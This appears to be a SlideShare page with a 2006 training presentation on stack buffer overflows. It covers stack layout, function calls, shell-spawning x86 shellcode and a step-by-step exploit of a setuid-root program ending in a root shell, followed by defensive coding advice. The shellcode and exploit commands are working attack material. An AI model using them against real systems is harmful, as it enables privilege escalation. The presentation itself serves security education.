0
Software Exploits How the Black Hats do what they do—Stack Overflows (or how a 1337 h4x0r can pwn your system) Kevin C. Sm...
What will we cover? <ul><li>What are buffer overflows? </li></ul><ul><li>What is the problem? </li></ul><ul><li>What is sh...
What is a buffer overflow? <ul><li>Four types: </li></ul><ul><ul><li>Stack overflows </li></ul></ul><ul><ul><li>Heap overf...
The problem on the stack <ul><li>The stack grows down from high memory to low memory </li></ul><ul><ul><li>Black Hats look...
Shellcode <ul><li>No, it is not shell scripting </li></ul><ul><li>It is code (payload) to spawn a shell—usually with privi...
Simple example program <ul><li>#include <stdio.h> </li></ul><ul><li>greeting(char *temp1, char *temp2){ </li></ul><ul><li>...
Typical execve() program stack Low Memory High Memory 4-byte null Bottom of Stack 0xBFFFFFFC: Full pathname of executable—...
How are functions called? <ul><li>Items are pushed on to the stack when functions are called. </li></ul><ul><li>The stack ...
Function Call <ul><li>mov 0xc(%ebp),%eax </li></ul><ul><li>add $0x8,%eax </li></ul><ul><li>pushl (%eax) </li></ul><ul><li>...
Function Prolog <ul><li>push %ebp </li></ul><ul><li>mov %esp,%ebp </li></ul><ul><li>sub $0x190,%esp </li></ul>char  name[4...
Function Epilog <ul><li>leave </li></ul><ul><li>ret </li></ul>High Memory temp2 Low Memory Return Address (eip) <ul><li>Ca...
Even simpler code example: <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); <...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf...
What is significant about the return address? <ul><li>Remember little endian </li></ul><ul><ul><li>Address is really 0xBFF...
More about shellcode <ul><li>Most of the time, shellcode cannot include any zero bytes since that is a  NULL </li></ul><ul...
Classic shell-spawning shellcode <ul><li>Essentially: </li></ul><ul><ul><li>void main() { </li></ul></ul><ul><ul><li>char ...
Classic shell-spawning shellcode <ul><li>BITS 32 </li></ul><ul><li>;  setreuid(uid_t ruid, uid_t euid) </li></ul><ul><li>x...
Classic shell-spawning shellcode <ul><li>export shellcode=`perl –e ‘print </li></ul><ul><li>“ x31xC9x31xDBx31xC0xB0x46 </l...
genv program <ul><li>Get the address of an environment variable </li></ul><ul><ul><li>#include <stdio.h> </li></ul></ul><u...
Put the exploit together <ul><li>$ ls –l vuln </li></ul><ul><li>-rwsr-xr-x 1 root root 6265 Nov 14 14:40 vuln </li></ul><u...
What does the program stack look like? <ul><li>0xBFFFFD8E points at our “shellcode” environment variable value (the code t...
Is this a problem in OSS? <ul><li>CVE-1999-0042: Buffer overflow in University of Washington’s implementation of IMAP and ...
Methods of stopping stack buffer overflows <ul><li>Red Hat’s exec shield starts the bottom of the stack at a random locati...
Be a better software engineer! <ul><li>Understand how and when buffers can be overflowed </li></ul><ul><li>Use code-review...
What did we cover? <ul><li>What are buffer overflows? </li></ul><ul><li>What is the problem? </li></ul><ul><li>What is she...
For more information <ul><li>Gray Hat Hacking , Harris, et al., 2005 </li></ul><ul><li>Hacking, The Art of Exploitation , ...
Questions? Feedback?
Part 2: Overflows in the Heap <ul><li>Currently a work in progress </li></ul>
Heap overflows <ul><li>Different attack method </li></ul><ul><ul><li>Much harder to find! </li></ul></ul><ul><ul><li>Goal ...
Heap overflow program #1 Adjacent variable corruption <ul><li>#include <stdio.h> </li></ul><ul><li>#include <stdlib.h> </l...
Heap overflow program #1 Adjacent variable corruption <ul><li>Important things to note: </li></ul><ul><ul><li>Order of the...
Heap overflow exploit Adjacent variable corruption <ul><li>Let’s overwrite the output file name </li></ul><ul><ul><li>Inst...
Heap overflow exploit  Adjacent variable corruption <ul><li>Since this program writes a string to a file, let’s write a st...
Upcoming SlideShare
Loading in...5
×

Software Exploits

2,221

Published on

This is a presentation I put together and presented for my colleagues at IBM back in 2006. I started on the section featuring heap exploits and never finished it. I want to finish it someday.

0 Comments
4 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,221
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
149
Comments
0
Likes
4
Embeds 0
No embeds

No notes for slide
  • Leet Speak: How an “elite” “hacker” can “own” your system.
  • Most of us have heard about buffer overflows. We know they are poor programming practices, and we may have heard that they allow the “Black Hats” access to our systems or programs in some way. But how do the Black Hats really exploit a small programming error? Why is a gets(), strcpy(), sprintf(), etc. such a problem? Bottom-line is that the Black Hats use buffer overflows on the stack to overwrite the return address to jump to their supplied code or crash the system. The key is that the Black Hat must control the input of the source buffer in order to overflow the destination buffer. If there is no outside of the program input for the source buffer, and the programmer knows that the source buffer is not larger than the destination buffer, a strcpy() is not a bad thing. You just need to know what to look for!
  • Knowing the contents of the stack and how functions are called is very important in the understanding of how to exploit a buffer overflow. Details of the stack will be covered in up-coming slides. Sometimes a Black Hat will just cause the exploited software to crash. This can cause a Denial of Service (DoS). If a service (local or remote) is important enough, denial to that service could result in lost revenue or reputation.
  • Shellcode got its name from the typical functionality of providing a privileged shell on a system. A remote exploit may just provide an entry point for the Black Hat to launch further attacks in order to gain full access to the system. Since the Black Hat can overwrite the return address of a function on the stack, that return address could be changed to the address of a program function that rewards the exploiter by applying credits to an account, zeroing-out a balance, increasing the quantity ordered (but not the total price), etc. A return address could be changed to execute a C-Library call like “execve()” to provide a shell or other privilege. This is one way around non-executable stack protection since the stack is just used to build proper arguments and then return into the library to do the dirty work.
  • The important items in this example program are in red . The main thing to note is that we are passing argv[2] from outside the program to a function where we do a strcpy() into a set-length buffer of size 400. It is pretty easy to supply more than 400 characters from the command line. Those extra characters will overflow the name[] buffer and over-write items on the stack including the return address.
  • This diagram is very important to know well. The stack grows from high memory to low memory. The starting address of the environment strings can easily be calculated if you know the full pathname of the command. The area on the stack for environment strings can be used to hold shellcode. The zero-filled padding space on the stack was something introduced in 2.5 for hyper-threading. The runtime data is information first loaded when a program is loaded to execute, but before the main() procedure is called. NOTE: This assumes that Red Hat’s exec-shield is not on.
  • Assembly code is using AT&amp;T format: CMD &lt;source&gt; &lt;destination&gt;
  • Here we are saving the caller’s frame pointer along with making room for the local variables--in this case 400 bytes for the “name” character array.
  • The “leave” instruction restores/pops the save frame pointer to point back at the calling routine. The “ret” instruction pops the return address on the stack into the EIP register where execution will continue at that new address.
  • Let’s use a real simple code example to demonstrate the exploit.
  • Assume that the source string (i.e., “my ident”) is being provided from outside the program via the command line, a file, an environment variable, a pipe-line or even a network connection. The point is that the source string comes from outside the program and is under the control of the attacker.
  • The final result of “normal” and expected (by the software engineer) behavior.
  • Replacing the ASCII characters with numeric (hex) values.
  • Again, assume that the source string in the strcpy() is being provided from outside the program by the attacker.
  • The final result of our strcpy(). We have over-written the saved frame pointer and the return address. Note that with some skill, just over-writing the save frame pointer, we can influence the behavior of the executing program. However, it is much faster and more to the point to over-write the return address to execute our supplied “shell code.”
  • Here we see what is on the stack in numeric form.
  • Here is the crux of exploiting a stack (or heap) buffer overflow: executing supplied code not originally in the program.
  • In some cases, the appearance of a NULL is not critical, but in most cases, shell code should not contain any zero bytes. Our main target for this exploit is to find setuid programs so that we can gain more privileges than we currently have.
  • Various “tricks” used to avoid NULL bytes (for example, using “xor reg, reg” to zero-out that register).
  • Notice no NULL bytes.
  • Here is a simple program to tell us where the value of the environment variable is located on the stack.
  • Smashing the stack of a setuid root program and executing shell-spawning shell code results in an interactive root shell! Yes!
  • Five copies of the address copied onto the stack over-writing the return address!
  • Examples of problems from the Common Vulnerabilities and Exposures list and BugTraq.
  • Dangerous string handling functions: gets(), strcpy(), strcat(), sprintf(), vsprintf(), sscanf(), vscanf(), fscanf() Many of the insecure string handling functions have more secure functions that use a value to limit the number of characters processed. These include: fgets(), strncpy(), strncat(), snprintf(), vsnprintf() While these are more secure due to one of the parameters limiting the number of characters processed, be careful to fall victim to the off-by-one problem if the function automatically appends a NULL—the destination buffer size is now SIZE-1. Additionally, when concatenating strings in a buffer, the size of that buffer may only be the remaining space in the buffer and not the full size of the original buffer; this is a common programming mistake.
  • This is only the beginning!
  • The 24 bytes between the variables was found by experimentation.
  • Transcript of "Software Exploits"

    1. 1. Software Exploits How the Black Hats do what they do—Stack Overflows (or how a 1337 h4x0r can pwn your system) Kevin C. Smallwood March 2006
    2. 2. What will we cover? <ul><li>What are buffer overflows? </li></ul><ul><li>What is the problem? </li></ul><ul><li>What is shellcode? </li></ul><ul><li>How are functions called? </li></ul><ul><li>How is a stack buffer overflow exploited? </li></ul><ul><ul><li>One method </li></ul></ul><ul><li>Which programming methods should I follow? </li></ul>
    3. 3. What is a buffer overflow? <ul><li>Four types: </li></ul><ul><ul><li>Stack overflows </li></ul></ul><ul><ul><li>Heap overflows </li></ul></ul><ul><ul><li>Integer overflows </li></ul></ul><ul><ul><li>Format string overflows </li></ul></ul><ul><li>Examples: </li></ul><ul><ul><li>gets(buffer);  Morris finger worm </li></ul></ul><ul><ul><li>strcpy(dest_little_buffer, src_big_ input _buffer); </li></ul></ul><ul><li>Not necessarily a problem: </li></ul><ul><ul><li>strcpy(internal_buffer1, internal_buffer2); </li></ul></ul>
    4. 4. The problem on the stack <ul><li>The stack grows down from high memory to low memory </li></ul><ul><ul><li>Black Hats look for buffer overflows to rewrite the return address on the stack so that their code is executed instead of the normal program flow. </li></ul></ul><ul><ul><ul><li>Goal: Take over the processor’s instruction pointer </li></ul></ul></ul><ul><ul><li>When calling a function certain things are pushed onto the stack: </li></ul></ul><ul><ul><ul><li>Called function’s parameters in reverse order </li></ul></ul></ul><ul><ul><ul><li>Extended Instruction Pointer (eip) (return address) </li></ul></ul></ul><ul><ul><ul><li>Calling function’s ebp (stack frame pointer) </li></ul></ul></ul><ul><ul><ul><li>Called function’s local variables </li></ul></ul></ul><ul><ul><ul><ul><li>By overflowing space on the stack, return address can be changed to execute “shellcode” or cause a crash (Denial of Service (DoS)) </li></ul></ul></ul></ul>
    5. 5. Shellcode <ul><li>No, it is not shell scripting </li></ul><ul><li>It is code (payload) to spawn a shell—usually with privileges (like “root”) </li></ul><ul><ul><li>Remote exploit may just supply a toe-hold into system </li></ul></ul><ul><li>It may execute a program function to grant desired outcome </li></ul><ul><ul><li>Gambling program where player always wins </li></ul></ul><ul><li>It may execute library function </li></ul><ul><ul><li>execve() </li></ul></ul>
    6. 6. Simple example program <ul><li>#include <stdio.h> </li></ul><ul><li>greeting(char *temp1, char *temp2){ </li></ul><ul><li>char name[400] ; </li></ul><ul><li>strcpy(name, temp2); </li></ul><ul><li>printf(“Hello %s %s ”, temp1, name); </li></ul><ul><li>} </li></ul><ul><li>main(int argc, char * argv[]){ </li></ul><ul><li>greeting(argv[1], argv[2] ); </li></ul><ul><li>printf(“Bye %s %s ”, argv[1], argv[2]); </li></ul><ul><li>} </li></ul>
    7. 7. Typical execve() program stack Low Memory High Memory 4-byte null Bottom of Stack 0xBFFFFFFC: Full pathname of executable—null-terminated env strings—null-terminated TERM=vt100, etc. argv strings—null-terminated argv[0], argv[1], etc. zero-filled padding 0 to 8064 bytes Starting address can easily be calculated: /bin/ls  8-bytes 112-bytes of ELF interpreter information env pointers argv pointers runtime data (from _start, etc.) envp argv argc Top of Stack Parameters to main()
    8. 8. How are functions called? <ul><li>Items are pushed on to the stack when functions are called. </li></ul><ul><li>The stack frame pointer and instruction pointer are popped off the stack upon return. </li></ul>
    9. 9. Function Call <ul><li>mov 0xc(%ebp),%eax </li></ul><ul><li>add $0x8,%eax </li></ul><ul><li>pushl (%eax) </li></ul><ul><li>mov 0xc(%ebp),%eax </li></ul><ul><li>add $0x4,%eax </li></ul><ul><li>pushl (%eax) </li></ul><ul><li>call 0x804835c </li></ul>parameters to greeting() greeting(char *temp1, char *temp2) Return Address High Memory temp2 Low Memory temp1 Return Address (eip)
    10. 10. Function Prolog <ul><li>push %ebp </li></ul><ul><li>mov %esp,%ebp </li></ul><ul><li>sub $0x190,%esp </li></ul>char name[400] ; temp2 Low Memory Return Address (eip) <ul><li>Calling function’s ebp </li></ul>ebp High Memory esp name[400] temp1
    11. 11. Function Epilog <ul><li>leave </li></ul><ul><li>ret </li></ul>High Memory temp2 Low Memory Return Address (eip) <ul><li>Calling function’s ebp </li></ul>ebp esp name[400] temp1
    12. 12. Even simpler code example: <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>
    13. 13. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer
    14. 14. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m
    15. 15. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y
    16. 16. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y 
    17. 17. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i
    18. 18. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i d
    19. 19. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i d e
    20. 20. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i d e n
    21. 21. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i d e n t
    22. 22. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer m y  i d e n t null
    23. 23. What happens to the stack? <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “my ident”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer 6D 79 20 69 64 65 6E 74 00
    24. 24. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer
    25. 25. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s
    26. 26. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m
    27. 27. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a
    28. 28. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s
    29. 29. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h
    30. 30. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h 
    31. 31. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t
    32. 32. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h
    33. 33. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a
    34. 34. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t
    35. 35. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t 
    36. 36. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s
    37. 37. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t
    38. 38. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a
    39. 39. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c
    40. 40. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c k
    41. 41. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c k 8E
    42. 42. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c k 8E FF
    43. 43. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c k 8E FF FF
    44. 44. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer s m a s h  t h a t  s t a c k 8E FF FF BF
    45. 45. What happens to the stack? Black Hat Style <ul><li>int foo() { </li></ul><ul><li>char buf[9]; </li></ul><ul><li>strcpy(buf, “smash that stackx8ExFFxFFxBF”); </li></ul><ul><li>} </li></ul>stuff more stuff Return Address Saved Frame Pointer 73 6D 60 73 68 20 74 68 60 74 20 73 74 60 63 6B 8E FF FF BF
    46. 46. What is significant about the return address? <ul><li>Remember little endian </li></ul><ul><ul><li>Address is really 0xBFFFFF8E </li></ul></ul><ul><ul><li>This is up in the environment variable area </li></ul></ul><ul><ul><ul><li>What if the Black Hat set an env variable to shellcode? (export sc=`cat shellcode`) </li></ul></ul></ul><ul><ul><ul><ul><li>We would jump into that shellcode and start execution! </li></ul></ul></ul></ul>stuff more stuff Return Address Saved Frame Pointer 73 6D 60 73 68 20 74 68 60 74 20 73 74 60 63 6B 8E FF FF BF
    47. 47. More about shellcode <ul><li>Most of the time, shellcode cannot include any zero bytes since that is a NULL </li></ul><ul><ul><li>Will terminate strings in many programming languages </li></ul></ul><ul><li>Our shellcode will just represent the binary machine code to spawn a shell </li></ul><ul><ul><li>We are looking to exploit buffer overflow in setuid root programs in order to get a root shell </li></ul></ul>
    48. 48. Classic shell-spawning shellcode <ul><li>Essentially: </li></ul><ul><ul><li>void main() { </li></ul></ul><ul><ul><li>char *name[2]; </li></ul></ul><ul><ul><li>setreuid( 0 , 0 ); </li></ul></ul><ul><ul><li>name[0] = &quot;/bin/sh&quot;; </li></ul></ul><ul><ul><li>name[1] = NULL ; </li></ul></ul><ul><ul><li>execve(name[0], name, NULL ); </li></ul></ul><ul><ul><li>} </li></ul></ul>
    49. 49. Classic shell-spawning shellcode <ul><li>BITS 32 </li></ul><ul><li>; setreuid(uid_t ruid, uid_t euid) </li></ul><ul><li>xor eax, eax ; first eax must be 0 for the next instruction </li></ul><ul><li>mov al, 70 ; put 70 into eax, since setreuid is syscall #70 </li></ul><ul><li>xor ebx, ebx ; put 0 into ebx, to set real uid to root </li></ul><ul><li>xor ecx, ecx ; put 0 into ecx, to set effective uid to root </li></ul><ul><li>int 0x80 ; Call the kernel to make the system call happen </li></ul><ul><li>; execve(const char *filename, char *const argv[], char *const envp[]) </li></ul><ul><li>push ecx ; push 4 bytes of null from ecx to the stack </li></ul><ul><li>push 0x68732f2f ; push “//sh” to the stack </li></ul><ul><li>push 0x6e69622f ; push “/bin” to the stack </li></ul><ul><li>mov ebx, esp ; put the address of “/bin/sh” to ebx, via esp </li></ul><ul><li>push ecx ; push 4 bytes of null from ecx to the stack </li></ul><ul><li>push ebx ; push ebx to the stack </li></ul><ul><li>mov ecx, esp ; put the address of ebx to ecx, via esp </li></ul><ul><li>xor edx, edx ; put 0 into edx </li></ul><ul><li>mov al, 11 ; put 11 into eax, since execve() is syscall #11 </li></ul><ul><li>int 0x80 ; call the kernel to make the syscall happen </li></ul>
    50. 50. Classic shell-spawning shellcode <ul><li>export shellcode=`perl –e ‘print </li></ul><ul><li>“ x31xC9x31xDBx31xC0xB0x46 </li></ul><ul><li>xCDx80 x51x68x2Fx2Fx73x68 </li></ul><ul><li>x68x2Fx62x69x6Ex89xE3x51 </li></ul><ul><li>x53x89xE1x31xD2xB0x0BxCD </li></ul><ul><li>x80 ”’;` </li></ul><ul><li>33 bytes! Fairly small payload. </li></ul>
    51. 51. genv program <ul><li>Get the address of an environment variable </li></ul><ul><ul><li>#include <stdio.h> </li></ul></ul><ul><ul><li>int main(int argc, char *argv[]) { </li></ul></ul><ul><ul><li>char *addr; </li></ul></ul><ul><ul><li>if(argc < 2) { </li></ul></ul><ul><ul><li>printf(“Usage: %s <environment variable name> ”, </li></ul></ul><ul><ul><li>argv[0]); </li></ul></ul><ul><ul><li>exit(0); </li></ul></ul><ul><ul><li>} </li></ul></ul><ul><ul><li>addr = getenv(argv[1]); </li></ul></ul><ul><ul><li>if(addr == NULL) </li></ul></ul><ul><ul><li>printf(“The environment variable %s doesn’t </li></ul></ul><ul><ul><li>exist. ”, argv[1]); </li></ul></ul><ul><ul><li>else </li></ul></ul><ul><ul><li>printf(“%s is located at %p ”, argv[1], addr); </li></ul></ul><ul><ul><li>return 0; </li></ul></ul><ul><ul><li>} </li></ul></ul>
    52. 52. Put the exploit together <ul><li>$ ls –l vuln </li></ul><ul><li>-rwsr-xr-x 1 root root 6265 Nov 14 14:40 vuln </li></ul><ul><li>$ export shellcode=`perl –e ‘print “x31xC9x31xDBx31xC0xB0x46xCDx80x51x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x51x53x89xE1x31xD2xB0x0BxCDx80”;’` </li></ul><ul><li>$ ./genv shellcode </li></ul><ul><li>shellcode is located at 0xbffffd8e </li></ul><ul><li>$ ./vuln `perl –e ‘print “x8exfdxffxbf”x5;’` </li></ul><ul><li># whoami </li></ul><ul><li>root </li></ul><ul><li># </li></ul>
